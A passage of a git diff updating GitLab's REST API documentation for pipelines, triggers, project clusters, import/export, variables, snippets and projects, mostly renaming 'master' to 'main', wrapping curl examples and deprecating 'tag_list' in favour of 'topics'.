13, "description": "Test schedule pipeline", - "ref": "master", + "ref": "main", "cron": "0 2 * * *", "cron_timezone": "Asia/Tokyo", "next_run_at": "2017-05-19T17:00:00.000Z", @@ -226,7 +229,7 @@ curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitla "last_pipeline": { "id": 332, "sha": "0e788619d0b5ec17388dffb973ecd505946156db", - "ref": "master", + "ref": "main", "status": "pending" }, "owner": { @@ -261,7 +264,7 @@ curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" "https://git { "id": 13, "description": "Test schedule pipeline", - "ref": "master", + "ref": "main", "cron": "0 2 * * *", "cron_timezone": "Asia/Tokyo", "next_run_at": "2017-05-19T17:00:00.000Z", @@ -271,7 +274,7 @@ curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" "https://git "last_pipeline": { "id": 332, "sha": "0e788619d0b5ec17388dffb973ecd505946156db", - "ref": "master", + "ref": "main", "status": "pending" }, "owner": { @@ -317,8 +320,6 @@ Example response: ## Pipeline schedule variables -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/34518) in GitLab 10.0. - ## Create a new pipeline schedule variable Create a new variable of a pipeline schedule. @@ -336,7 +337,8 @@ POST /projects/:id/pipeline_schedules/:pipeline_schedule_id/variables | `variable_type` | string | no | The type of a variable. Available types are: `env_var` (default) and `file` | ```shell -curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --form "key=NEW_VARIABLE" --form "value=new value" "https://gitlab.example.com/api/v4/projects/29/pipeline_schedules/13/variables" +curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --form "key=NEW_VARIABLE" \ + --form "value=new value" "https://gitlab.example.com/api/v4/projects/29/pipeline_schedules/13/variables" ``` ```json @@ -364,7 +366,9 @@ PUT /projects/:id/pipeline_schedules/:pipeline_schedule_id/variables/:key | `variable_type` | string | no | The type of a variable. Available types are: `env_var` (default) and `file` | ```shell -curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" --form "value=updated value" "https://gitlab.example.com/api/v4/projects/29/pipeline_schedules/13/variables/NEW_VARIABLE" +curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" \ + --form "value=updated value" \ + "https://gitlab.example.com/api/v4/projects/29/pipeline_schedules/13/variables/NEW_VARIABLE" ``` ```json diff --git a/doc/api/pipeline_triggers.md b/doc/api/pipeline_triggers.md index ea10b14bc2e..94122a40b2d 100644 --- a/doc/api/pipeline_triggers.md +++ b/doc/api/pipeline_triggers.md @@ -1,10 +1,10 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Execution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Pipeline triggers API +# Pipeline triggers API **(FREE)** You can read more about [triggering pipelines through the API](../ci/triggers/README.md). @@ -81,7 +81,8 @@ POST /projects/:id/triggers | `description` | string | yes | The trigger name | ```shell -curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --form description="my description" "https://gitlab.example.com/api/v4/projects/1/triggers" +curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \ + --form description="my description" "https://gitlab.example.com/api/v4/projects/1/triggers" ``` ```json @@ -111,7 +112,8 @@ PUT /projects/:id/triggers/:trigger_id | `description` | string | no | The trigger name | ```shell -curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" --form description="my description" "https://gitlab.example.com/api/v4/projects/1/triggers/10" +curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" \ + --form description="my description" "https://gitlab.example.com/api/v4/projects/1/triggers/10" ``` ```json diff --git a/doc/api/pipelines.md b/doc/api/pipelines.md index 497c70b19ba..57c356ccf29 100644 --- a/doc/api/pipelines.md +++ b/doc/api/pipelines.md @@ -1,10 +1,10 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Execution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Pipelines API +# Pipelines API **(FREE)** ## Single Pipeline Requests @@ -23,8 +23,6 @@ Read more on [pagination](README.md#pagination). ## List project pipelines -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/5837) in GitLab 8.11 - ```plaintext GET /projects/:id/pipelines ``` @@ -77,8 +75,6 @@ Example of response ## Get a single pipeline -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/5837) in GitLab 8.11 - ```plaintext GET /projects/:id/pipelines/:pipeline_id ``` @@ -99,7 +95,7 @@ Example of response "id": 46, "project_id": 1, "status": "success", - "ref": "master", + "ref": "main", "sha": "a91957a858320c0e17f3a0eca7cfacbff50ea29a", "before_sha": "a91957a858320c0e17f3a0eca7cfacbff50ea29a", "tag": false, @@ -213,8 +209,6 @@ Sample response: ## Create a new pipeline -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/7209) in GitLab 8.14 - ```plaintext POST /projects/:id/pipeline ``` @@ -226,7 +220,7 @@ POST /projects/:id/pipeline | `variables` | array | no | An array containing the variables available in the pipeline, matching the structure `[{ 'key': 'UPLOAD_TO_S3', 'variable_type': 'file', 'value': 'true' }]` | ```shell -curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/pipeline?ref=master" +curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/pipeline?ref=main" ``` Example of response @@ -236,7 +230,7 @@ Example of response "id": 61, "project_id": 1, "sha": "384c444e840a515b23f21915ee5766b87068a70d", - "ref": "master", + "ref": "main", "status": "pending", "before_sha": "0000000000000000000000000000000000000000", "tag": false, @@ -263,8 +257,6 @@ Example of response ## Retry jobs in a pipeline -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/5837) in GitLab 8.11 - ```plaintext POST /projects/:id/pipelines/:pipeline_id/retry ``` @@ -285,7 +277,7 @@ Response: "id": 46, "project_id": 1, "status": "pending", - "ref": "master", + "ref": "main", "sha": "a91957a858320c0e17f3a0eca7cfacbff50ea29a", "before_sha": "a91957a858320c0e17f3a0eca7cfacbff50ea29a", "tag": false, @@ -312,8 +304,6 @@ Response: ## Cancel a pipeline's jobs -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/5837) in GitLab 8.11 - ```plaintext POST /projects/:id/pipelines/:pipeline_id/cancel ``` @@ -334,7 +324,7 @@ Response: "id": 46, "project_id": 1, "status": "canceled", - "ref": "master", + "ref": "main", "sha": "a91957a858320c0e17f3a0eca7cfacbff50ea29a", "before_sha": "a91957a858320c0e17f3a0eca7cfacbff50ea29a", "tag": false, diff --git a/doc/api/project_aliases.md b/doc/api/project_aliases.md index 439f34ad93b..1638bb644c2 100644 --- a/doc/api/project_aliases.md +++ b/doc/api/project_aliases.md @@ -68,8 +68,8 @@ Example response: ## Create a project alias -Add a new alias for a project. Responds with a 201 when successful, -400 when there are validation errors (e.g. alias already exists): +Add a new alias for a project. When successful, responds with `201 Created`. +When there are validation errors, for example, when the alias already exists, responds with `400 Bad Request`: ```plaintext POST /project_aliases @@ -81,13 +81,15 @@ POST /project_aliases | `name` | string | yes | The name of the alias. Must be unique. | ```shell -curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/project_aliases" --form "project_id=1" --form "name=gitlab" +curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \ + "https://gitlab.example.com/api/v4/project_aliases" --form "project_id=1" --form "name=gitlab" ``` or ```shell -curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/project_aliases" --form "project_id=gitlab-org/gitlab" --form "name=gitlab" +curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \ + "https://gitlab.example.com/api/v4/project_aliases" --form "project_id=gitlab-org/gitlab" --form "name=gitlab" ``` Example response: diff --git a/doc/api/project_badges.md b/doc/api/project_badges.md index a17f7d15e76..c6bcaa1ae9c 100644 --- a/doc/api/project_badges.md +++ b/doc/api/project_badges.md @@ -109,7 +109,9 @@ POST /projects/:id/badges | `name` | string | no | Name of the badge | ```shell -curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --data "link_url=https://gitlab.com/gitlab-org/gitlab-foss/commits/master&image_url=https://shields.io/my/badge1&name=mybadge" "https://gitlab.example.com/api/v4/projects/:id/badges" +curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \ + --data "link_url=https://gitlab.com/gitlab-org/gitlab-foss/commits/master&image_url=https://shields.io/my/badge1&name=mybadge" \ + "https://gitlab.example.com/api/v4/projects/:id/badges" ``` Example response: diff --git a/doc/api/project_clusters.md b/doc/api/project_clusters.md index a431e754774..f31b3ccd0bb 100644 --- a/doc/api/project_clusters.md +++ b/doc/api/project_clusters.md @@ -8,7 +8,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/23922) in GitLab 11.7. -Users need at least [Maintainer](../user/permissions.md) access to use these endpoints. +Users need at least the [Maintainer](../user/permissions.md) role to use these endpoints. ## List project clusters @@ -22,7 +22,7 @@ Parameters: | Attribute | Type | Required | Description | | --------- | ------- | -------- | ----------------------------------------------------- | -| `id` | integer | yes | The ID of the project owned by the authenticated user | +| `id` | integer or string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user | Example request: @@ -92,7 +92,7 @@ Parameters: | Attribute | Type | Required | Description | | ------------ | ------- | -------- | ----------------------------------------------------- | -| `id` | integer | yes | The ID of the project owned by the authenticated user | +| `id` | integer or string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user | | `cluster_id` | integer | yes | The ID of the cluster | Example request: @@ -151,7 +151,8 @@ Example response: "path_with_namespace":"root/project-with-clusters-api", "created_at":"2019-01-02T20:13:32.600Z", "default_branch":null, - "tag_list":[], + "tag_list":[], //deprecated, use `topics` instead + "topics":[], "ssh_url_to_repo":"ssh://gitlab.example.com/root/project-with-clusters-api.git", "http_url_to_repo":"https://gitlab.example.com/root/project-with-clusters-api.git", "web_url":"https://gitlab.example.com/root/project-with-clusters-api", @@ -185,7 +186,7 @@ Parameters: | Attribute | Type | Required | Description | | ---------------------------------------------------- | ------- | -------- | ----------------------------------------------------------------------------------------------------- | -| `id` | integer | yes | The ID of the project owned by the authenticated user | +| `id` | integer or string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user | | `name` | string | yes | The name of the cluster | | `domain` | string | no | The [base domain](../user/project/clusters/index.md#base-domain) of the cluster | | `management_project_id` | integer | no | The ID of the [management project](../user/clusters/management_project.md) for the cluster | @@ -247,7 +248,8 @@ Example response: "path_with_namespace":"root/project-with-clusters-api", "created_at":"2019-01-02T20:13:32.600Z", "default_branch":null, - "tag_list":[], + "tag_list":[], //deprecated, use `topics` instead + "topics":[], "ssh_url_to_repo":"ssh:://gitlab.example.com/root/project-with-clusters-api.git", "http_url_to_repo":"https://gitlab.example.com/root/project-with-clusters-api.git", "web_url":"https://gitlab.example.com/root/project-with-clusters-api", @@ -281,7 +283,7 @@ Parameters: | Attribute | Type | Required | Description | | ------------------------------------------- | ------- | -------- | ------------------------------------------------------------------------------------------ | -| `id` | integer | yes | The ID of the project owned by the authenticated user | +| `id` | integer or string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user | | `cluster_id` | integer | yes | The ID of the cluster | | `name` | string | no | The name of the cluster | | `domain` | string | no | The [base domain](../user/project/clusters/index.md#base-domain) of the cluster | @@ -357,7 +359,8 @@ Example response: "path_with_namespace":"root/project-with-clusters-api", "created_at":"2019-01-02T20:13:32.600Z", "default_branch":null, - "tag_list":[], + "tag_list":[], //deprecated, use `topics` instead + "topics":[], "ssh_url_to_repo":"ssh:://gitlab.example.com/root/project-with-clusters-api.git", "http_url_to_repo":"https://gitlab.example.com/root/project-with-clusters-api.git", "web_url":"https://gitlab.example.com/root/project-with-clusters-api", @@ -392,7 +395,7 @@ Parameters: | Attribute | Type | Required | Description | | ------------ | ------- | -------- | ----------------------------------------------------- | -| `id` | integer | yes | The ID of the project owned by the authenticated user | +| `id` | integer or string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user | | `cluster_id` | integer | yes | The ID of the cluster | Example request: diff --git a/doc/api/project_import_export.md b/doc/api/project_import_export.md index a4ad496b667..b20ce9896dc 100644 --- a/doc/api/project_import_export.md +++ b/doc/api/project_import_export.md @@ -18,7 +18,7 @@ See also: Start a new export. -The endpoint also accepts an `upload` parameter. This parameter is a hash that contains +The endpoint also accepts an `upload` parameter. This parameter is a hash. It contains all the necessary information to upload the exported project to a web server or to any S3-compatible platform. At the moment we only support binary data file uploads to the final server. @@ -70,23 +70,14 @@ curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/a Status can be one of: -- `none` -- `queued` -- `started` -- `finished` -- `regeneration_in_progress` - -`queued` state represents the request for export is received, and is currently in the queue to be processed. - -The `started` state represents that the export process has started and is currently in progress. -It includes the process of exporting, actions performed on the resultant file such as sending -an email notifying the user to download the file, uploading the exported file to a web server, etc. - -`finished` state is after the export process has completed and the user has been notified. - -`regeneration_in_progress` is when an export file is available to download, and a request to generate a new export is in process. - -`none` is when there are no exports _queued_, _started_, _finished_, or _being regenerated_ +- `none`: No exports _queued_, _started_, _finished_, or _being regenerated_. +- `queued`: The request for export is received, and is in the queue to be processed. +- `started`: The export process has started and is in progress. It includes: + - The process of exporting. + - Actions performed on the resulting file, such as sending an email notifying + the user to download the file, or uploading the exported file to a web server. +- `finished`: After the export process has completed and the user has been notified. +- `regeneration_in_progress`: An export file is available to download, and a request to generate a new export is in process. `_links` are only present when export has finished. @@ -122,7 +113,8 @@ GET /projects/:id/export/download | `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user | ```shell -curl --header "PRIVATE-TOKEN: <your_access_token>" --remote-header-name --remote-name "https://gitlab.example.com/api/v4/projects/5/export/download" +curl --header "PRIVATE-TOKEN: <your_access_token>" --remote-header-name \ + --remote-name "https://gitlab.example.com/api/v4/projects/5/export/download" ``` ```shell @@ -153,7 +145,8 @@ The `file=` parameter must point to a file on your file system and be preceded by `@`. For example: ```shell -curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --form "path=api-project" --form "file=@/path/to/file" "https://gitlab.example.com/api/v4/projects/import" +curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --form "path=api-project" \ + --form "file=@/path/to/file" "https://gitlab.example.com/api/v4/projects/import" ``` cURL doesn't support posting a file from a remote server. Importing a project from a remote server can be accomplished through something like the following: @@ -288,7 +281,7 @@ NOTE: An element's `id` field in `failed_relations` references the failure record, not the relation. NOTE: -The `failed_relations` array is currently capped to 100 items. +The `failed_relations` array is capped to 100 items. ```json { diff --git a/doc/api/project_level_variables.md b/doc/api/project_level_variables.md index 8ef887675e9..0b7193ad5bc 100644 --- a/doc/api/project_level_variables.md +++ b/doc/api/project_level_variables.md @@ -1,6 +1,6 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Authoring info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference, api --- @@ -85,7 +85,8 @@ POST /projects/:id/variables | `environment_scope` | string | no | The `environment_scope` of the variable. Default: `*` | ```shell -curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/variables" --form "key=NEW_VARIABLE" --form "value=new value" +curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \ + "https://gitlab.example.com/api/v4/projects/1/variables" --form "key=NEW_VARIABLE" --form "value=new value" ``` ```json @@ -119,7 +120,8 @@ PUT /projects/:id/variables/:key | `filter` | hash | no | Available filters: `[environment_scope]`. See the [`filter` parameter details](#the-filter-parameter). | ```shell -curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/variables/NEW_VARIABLE" --form "value=updated value" +curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" \ + "https://gitlab.example.com/api/v4/projects/1/variables/NEW_VARIABLE" --form "value=updated value" ``` ```json diff --git a/doc/api/project_repository_storage_moves.md b/doc/api/project_repository_storage_moves.md index dd8954f2f0f..31c306bb14f 100644 --- a/doc/api/project_repository_storage_moves.md +++ b/doc/api/project_repository_storage_moves.md @@ -221,7 +221,8 @@ Example request: ```shell curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --header "Content-Type: application/json" \ ---data '{"destination_storage_name":"storage2"}' "https://gitlab.example.com/api/v4/projects/1/repository_storage_moves" + --data '{"destination_storage_name":"storage2"}' \ + "https://gitlab.example.com/api/v4/projects/1/repository_storage_moves" ``` Example response: @@ -266,7 +267,8 @@ Example request: ```shell curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --header "Content-Type: application/json" \ ---data '{"source_storage_name":"default"}' "https://gitlab.example.com/api/v4/project_repository_storage_moves" + --data '{"source_storage_name":"default"}' \ + "https://gitlab.example.com/api/v4/project_repository_storage_moves" ``` Example response: diff --git a/doc/api/project_snippets.md b/doc/api/project_snippets.md index 070429eafd5..156d3c57a43 100644 --- a/doc/api/project_snippets.md +++ b/doc/api/project_snippets.md @@ -16,7 +16,7 @@ Constants for snippet visibility levels are: | visibility | Description | | ---------- | ----------- | -| `private` | The snippet is visible only the snippet creator | +| `private` | The snippet is visible only to the snippet creator | | `internal` | The snippet is visible for any logged in user except [external users](../user/permissions.md#external-users) | | `public` | The snippet can be accessed without any authentication | @@ -225,7 +225,7 @@ Parameters: - `id` (required) - The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user - `snippet_id` (required) - The ID of a project's snippet -- `ref` (required) - The name of a branch, tag or commit, such as `master` +- `ref` (required) - The name of a branch, tag or commit, such as `main` - `file_path` (required) - The URL-encoded path to the file, such as `snippet%2Erb` Example request: @@ -239,7 +239,7 @@ curl "https://gitlab.com/api/v4/projects/1/snippets/2/files/master/snippet%2Erb/ > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/29508) in GitLab 9.4. -Available only for users with Administrator [permissions](../user/permissions.md). +Available only for users with the Administrator [role](../user/permissions.md). ```plaintext GET /projects/:id/snippets/:snippet_id/user_agent_detail @@ -247,7 +247,7 @@ GET /projects/:id/snippets/:snippet_id/user_agent_detail | Attribute | Type | Required | Description | |---------------|---------|----------|--------------------------------------| -| `id` | Integer | yes | The ID of a project | +| `id` | integer or string | yes | The ID or [URL-encoded path of a project](README.md#namespaced-path-encoding). | | `snippet_id` | Integer | yes | The ID of a snippet | Example request: diff --git a/doc/api/projects.md b/doc/api/projects.md index b686d17a4a1..e5cb2c8e1eb 100644 --- a/doc/api/projects.md +++ b/doc/api/projects.md @@ -59,7 +59,7 @@ GET /projects | `sort` | string | **{dotted-circle}** No | Return projects sorted in `asc` or `desc` order. Default is `desc`. | | `starred` | boolean | **{dotted-circle}** No | Limit by projects starred by the current user. | | `statistics` | boolean | **{dotted-circle}** No | Include project statistics. | -| `topic` | string | **{dotted-circle}** No | Comma-separated topic names. Limit results to projects that match all of given topics. See `tag_list` attribute. | +| `topic` | string | **{dotted-circle}** No | Comma-separated topic names. Limit results to projects that match all of given topics. See `topics` attribute. | | `visibility` | string | **{dotted-circle}** No | Limit by visibility `public`, `internal`, or `private`. | | `wiki_checksum_failed` **(PREMIUM)** | boolean | **{dotted-circle}** No | Limit projects where the wiki checksum calculation has failed ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/6137) in [GitLab Premium](https://about.gitlab.com/pricing/) 11.2). | | `with_custom_attributes` | boolean | **{dotted-circle}** No | Include [custom attributes](custom_attributes.md) in response. _(admins only)_ | @@ -82,7 +82,11 @@ When `simple=true` or the user is unauthenticated this returns something like: "http_url_to_repo": "http://example.com/diaspora/diaspora-client.git", "web_url": "http://example.com/diaspora/diaspora-client", "readme_url": "http://example.com/diaspora/diaspora-client/blob/master/README.md", - "tag_list": [ + "tag_list": [ //deprecated, use `topics` instead + "example", + "disapora client" + ], + "topics": [ "example", "disapora client" ], @@ -116,7 +120,11 @@ When the user is authenticated and `simple` is not set this returns something li "http_url_to_repo": "http://example.com/diaspora/diaspora-client.git", "web_url": "http://example.com/diaspora/diaspora-client", "readme_url": "http://example.com/diaspora/diaspora-client/blob/master/README.md", - "tag_list": [ + "tag_list": [ //deprecated, use `topics` instead + "example", + "disapora client" + ], + "topics": [ "example", "disapora client" ], @@ -166,6 +174,7 @@ When the user is authenticated and `simple` is not set this returns something li "remove_source_branch_after_merge": false, "request_access_enabled": false, "merge_method": "merge", + "squash_option": "default_on", "autoclose_referenced_issues": true, "suggestion_commit_message": null, "marked_for_deletion_at": "2020-04-03", // Deprecated and will be removed in API v5 in favor of marked_for_deletion_on @@ -200,7 +209,11 @@ When the user is authenticated and `simple` is not set this returns something li "http_url_to_repo": "http://example.com/brightbox/puppet.git", "web_url": "http://example.com/brightbox/puppet", "readme_url": "http://example.com/brightbox/puppet/blob/master/README.md", - "tag_list": [ + "tag_list": [ //deprecated, use `topics` instead + "example", + "puppet" + ], + "topics": [ "example", "puppet" ], @@ -261,6 +274,7 @@ When the user is authenticated and `simple` is not set this returns something li "remove_source_branch_after_merge": false, "request_access_enabled": false, "merge_method": "merge", + "squash_option": "default_on", "auto_devops_enabled": true, "auto_devops_deploy_strategy": "continuous", "repository_storage": "default", @@ -301,6 +315,10 @@ When the user is authenticated and `simple` is not set this returns something li ``` NOTE: +The `tag_list` attribute has been deprecated +and is removed in API v5 in favor of the `topics` attribute. + +NOTE: For users of [GitLab Premium or higher](https://about.gitlab.com/pricing/), the `marked_for_deletion_at` attribute has been deprecated, and is removed in API v5 in favor of the `marked_for_deletion_on` attribute. @@ -378,7 +396,11 @@ GET /users/:user_id/projects "http_url_to_repo": "http://example.com/diaspora/diaspora-client.git", "web_url": "http://example.com/diaspora/diaspora-client", "readme_url": "http://example.com/diaspora/diaspora-client/blob/master/README.md", - "tag_list": [ + "tag_list": [ //deprecated, use `topics` instead + "example", + "disapora client" + ], + "topics": [ "example", "disapora client" ], @@ -428,6 +450,7 @@ GET /users/:user_id/projects "remove_source_branch_after_merge": false, "request_access_enabled": false, "merge_method": "merge", + "squash_option": "default_on", "autoclose_referenced_issues": true, "suggestion_commit_message": null, "marked_for_deletion_at": "2020-04-03", // Deprecated and will be removed in API v5 in favor of marked_for_deletion_on @@ -462,7 +485,11 @@ GET /users/:user_id/projects "http_url_to_repo": "http://example.com/brightbox/puppet.git", "web_url": "http://example.com/brightbox/puppet", "readme_url": "http://example.com/brightbox/puppet/blob/master/README.md", - "tag_list": [ + "tag_list": [ //deprecated, use `topics` instead + "example", + "puppet" + ], + "topics": [ "example", "puppet" ], @@ -523,6 +550,7 @@ GET /users/:user_id/projects "remove_source_branch_after_merge": false, "request_access_enabled": false, "merge_method": "merge", + "squash_option": "default_on", "auto_devops_enabled": true, "auto_devops_deploy_strategy": "continuous", "repository_storage": "default", @@ -606,7 +634,11 @@ Example response: "http_url_to_repo": "http://example.com/diaspora/diaspora-client.git", "web_url": "http://example.com/diaspora/diaspora-client", "readme_url": "http://example.com/diaspora/diaspora-client/blob/master/README.md", - "tag_list": [ + "tag_list": [ //deprecated, use `topics` instead + "example", + "disapora client" + ], + "topics": [ "example", "disapora client" ], @@ -654,6 +686,7 @@ Example response: "remove_source_branch_after_merge": false, "request_access_enabled": false, "merge_method": "merge", + "squash_option": "default_on", "autoclose_referenced_issues": true, "suggestion_commit_message": null, "statistics": { @@ -683,7 +716,11 @@ Example response: "http_url_to_repo": "http://example.com/brightbox/puppet.git", "web_url": "http://example.com/brightbox/puppet", "readme_url": "http://example.com/brightbox/puppet/blob/master/README.md", - "tag_list": [ + "tag_list": [ //deprecated, use `topics` instead + "example", + "puppet" + ], + "topics": [ "example", "puppet" ], @@ -742,6 +779,7 @@ Example response: "remove_source_branch_after_merge": false, "request_access_enabled": false, "merge_method": "merge", + "squash_option": "default_on", "auto_devops_enabled": true, "auto_devops_deploy_strategy": "continuous", "repository_storage": "default", @@ -789,7 +827,7 @@ GET /projects/:id | Attribute | Type | Required | Description | |--------------------------|----------------|------------------------|-------------| -| `id` | integer/string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). | | `license` | boolean | **{dotted-circle}** No | Include project license data. | | `statistics` | boolean | **{dotted-circle}** No | Include project statistics. | | `with_custom_attributes` | boolean | **{dotted-circle}** No | Include [custom attributes](custom_attributes.md) in response. _(admins only)_ | @@ -804,7 +842,11 @@ GET /projects/:id "http_url_to_repo": "http://example.com/diaspora/diaspora-project-site.git", "web_url": "http://example.com/diaspora/diaspora-project-site", "readme_url": "http://example.com/diaspora/diaspora-project-site/blob/master/README.md", - "tag_list": [ + "tag_list": [ //deprecated, use `topics` instead + "example", + "disapora project" + ], + "topics": [ "example", "disapora project" ], @@ -900,6 +942,7 @@ GET /projects/:id "printing_merge_requests_link_enabled": true, "request_access_enabled": false, "merge_method": "merge", + "squash_option": "default_on", "auto_devops_enabled": true, "auto_devops_deploy_strategy": "continuous", "approvals_before_merge": 0, @@ -940,6 +983,10 @@ GET /projects/:id } ``` +NOTE: +The `tag_list` attribute has been deprecated +and is removed in API v5 in favor of the `topics` attribute. + Users of [GitLab Premium or higher](https://about.gitlab.com/pricing/) can also see the `approvals_before_merge` parameter: @@ -974,12 +1021,13 @@ If the project is a fork, and you provide a valid token to authenticate, the "path_with_namespace":"gitlab-org/gitlab-foss", "created_at":"2013-09-26T06:02:36.000Z", "default_branch":"master", - "tag_list":[], + "tag_list":[], //deprecated, use `topics` instead + "topics":[], "ssh_url_to_repo":"git@gitlab.com:gitlab-org/gitlab-foss.git", "http_url_to_repo":"https://gitlab.com/gitlab-org/gitlab-foss.git", "web_url":"https://gitlab.com/gitlab-org/gitlab-foss", "avatar_url":"https://assets.gitlab-static.net/uploads/-/system/project/avatar/13083/logo-extra-whitespace.png", - "license_url": "https://gitlab.com/gitlab-org/gitlab/blob/master/LICENSE", + "license_url": "https://gitlab.com/gitlab-org/gitlab/-/blob/master/LICENSE", "license": { "key": "mit", "name": "MIT License", @@ -1032,7 +1080,7 @@ GET /projects/:id/users | Attribute | Type | Required | Description | |--------------|----------------|------------------------|-------------| -| `id` | integer/string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). | | `search` | string | **{dotted-circle}** No | Search for specific users. | | `skip_users` | integer array | **{dotted-circle}** No | Filter out users with the specified IDs. | @@ -1067,7 +1115,7 @@ GET /projects/:id/groups | Attribute | Type | Required | Description | |-----------------------------|-------------------|------------------------|-------------| -| `id` | integer/string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). | | `search` | string | **{dotted-circle}** No | Search for specific groups. | | `skip_groups` | array of integers | **{dotted-circle}** No | Skip the group IDs passed. | | `with_shared` | boolean | **{dotted-circle}** No | Include projects shared with this group. Default is `false`. | @@ -1117,7 +1165,7 @@ POST /projects | `path` | string | **{check-circle}** Yes (if name isn't provided) | Repository name for new project. Generated based on name if not provided (generated as lowercase with dashes). | | `allow_merge_on_skipped_pipeline` | boolean | **{dotted-circle}** No | Set whether or not merge requests can be merged with skipped jobs. | | `analytics_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private` or `enabled` | -| `approvals_before_merge` **(PREMIUM)** | integer | **{dotted-circle}** No | How many approvers should approve merge requests by default. | +| `approvals_before_merge` **(PREMIUM)** | integer | **{dotted-circle}** No | How many approvers should approve merge requests by default. To configure approval rules, see [Merge request approvals API](merge_request_approvals.md). | | `auto_cancel_pending_pipelines` | string | **{dotted-circle}** No | Auto-cancel pending pipelines. This isn't a boolean, but enabled/disabled. | | `auto_devops_deploy_strategy` | string | **{dotted-circle}** No | Auto Deploy strategy (`continuous`, `manual` or `timed_incremental`). | | `auto_devops_enabled` | boolean | **{dotted-circle}** No | Enable Auto DevOps for this project. | @@ -1130,7 +1178,7 @@ POST /projects | `ci_config_path` | string | **{dotted-circle}** No | The path to CI configuration file. | | `container_expiration_policy_attributes` | hash | **{dotted-circle}** No | Update the image cleanup policy for this project. Accepts: `cadence` (string), `keep_n` (integer), `older_than` (string), `name_regex` (string), `name_regex_delete` (string), `name_regex_keep` (string), `enabled` (boolean). Valid values for `cadence` are: `1d` (every day), `7d` (every week), `14d` (every two weeks), `1month` (every month), or `3month` (every quarter). | | `container_registry_enabled` | boolean | **{dotted-circle}** No | Enable container registry for this project. | -| `default_branch` | string | **{dotted-circle}** No | The [default branch](../user/project/repository/branches/default.md) name. | +| `default_branch` | string | **{dotted-circle}** No | The [default branch](../user/project/repository/branches/default.md) name. Requires `initialize_with_readme` to be `true`. | | `description` | string | **{dotted-circle}** No | Short project description. | | `emails_disabled` | boolean | **{dotted-circle}** No | Disable email notifications. | | `external_authorization_classification_label` **(PREMIUM)** | string | **{dotted-circle}** No | The classification label for the project. | @@ -1165,9 +1213,11 @@ POST /projects | `show_default_award_emojis` | boolean | **{dotted-circle}** No | Show default award emojis. | | `snippets_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, or `enabled`. | | `snippets_enabled` | boolean | **{dotted-circle}** No | _(Deprecated)_ Enable snippets for this project. Use `snippets_access_level` instead. | 